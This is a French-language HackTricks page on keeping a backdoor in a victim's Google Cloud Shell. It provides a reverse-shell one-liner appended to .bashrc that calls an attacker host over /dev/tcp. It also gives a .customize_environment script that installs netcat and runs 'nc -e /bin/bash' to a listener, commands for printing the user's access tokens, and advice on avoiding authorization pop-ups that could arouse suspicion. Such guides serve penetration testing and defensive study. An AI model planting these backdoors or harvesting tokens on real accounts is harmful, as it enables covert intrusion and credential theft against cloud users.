# GCP - Persistance dans Cloud Shell

{{#include ../../../banners/hacktricks-training.md}}

## Cloud Shell

Pour plus d'informations, consultez :

{{#ref}}
../gcp-services/gcp-cloud-shell-enum.md
{{#endref}}

### Backdoor Persistante

[**Google Cloud Shell**](https://cloud.google.com/shell/) vous fournit un accès en ligne de commande à vos ressources cloud directement depuis votre navigateur sans aucun coût associé.

Vous pouvez accéder à Cloud Shell de Google depuis la **console web** ou en exécutant **`gcloud cloud-shell ssh`**.

Cette console a des capacités intéressantes pour les attaquants :

1. **Tout utilisateur Google ayant accès à Google Cloud** a accès à une instance Cloud Shell entièrement authentifiée (les Comptes de Service peuvent, même en étant Propriétaires de l'organisation).
2. Cette instance **maintiendra son répertoire personnel pendant au moins 120 jours** s'il n'y a pas d'activité.
3. Il n'y a **aucune capacité pour une organisation de surveiller** l'activité de cette instance.

Cela signifie essentiellement qu'un attaquant peut placer une backdoor dans le répertoire personnel de l'utilisateur et tant que l'utilisateur se connecte au GC Shell au moins tous les 120 jours, la backdoor survivra et l'attaquant obtiendra un shell chaque fois qu'il sera exécuté simplement en faisant :
```bash
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc
```
Il y a un autre fichier dans le dossier personnel appelé **`.customize_environment`** qui, s'il existe, sera **exécuté à chaque fois** que l'utilisateur accède au **cloud shell** (comme dans la technique précédente). Il suffit d'insérer la porte dérobée précédente ou une comme celle-ci pour maintenir la persistance tant que l'utilisateur utilise "fréquemment" le cloud shell :
```bash
#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash
```
> [!WARNING]
> Il est important de noter que **la première fois qu'une action nécessitant une authentification est effectuée**, une fenêtre d'autorisation contextuelle apparaît dans le navigateur de l'utilisateur. Cette fenêtre doit être acceptée avant que la commande puisse s'exécuter. Si une fenêtre contextuelle inattendue apparaît, cela pourrait susciter des soupçons et potentiellement compromettre la méthode de persistance utilisée.

Ceci est la fenêtre contextuelle résultant de l'exécution de `gcloud projects list` depuis le cloud shell (en tant qu'attaquant) vue dans la session utilisateur du navigateur :

<figure><img src="../../../images/image (10).png" alt=""><figcaption></figcaption></figure>

Cependant, si l'utilisateur a activement utilisé le cloudshell, la fenêtre contextuelle n'apparaîtra pas et vous pouvez **rassembler les tokens de l'utilisateur avec** :
```bash
gcloud auth print-access-token
gcloud auth application-default print-access-token
```
#### Comment la connexion SSH est établie

Fondamentalement, ces 3 appels API sont utilisés :

- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (vous obligera à ajouter votre clé publique que vous avez créée localement)
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (vous obligera à démarrer l'instance)
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (vous indiquera l'IP du google cloud shell)

Mais vous pouvez trouver plus d'informations dans [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)

## Références

- [https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec](https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec)
- [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)
- [https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/](https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/)

{{#include ../../../banners/hacktricks-training.md}}
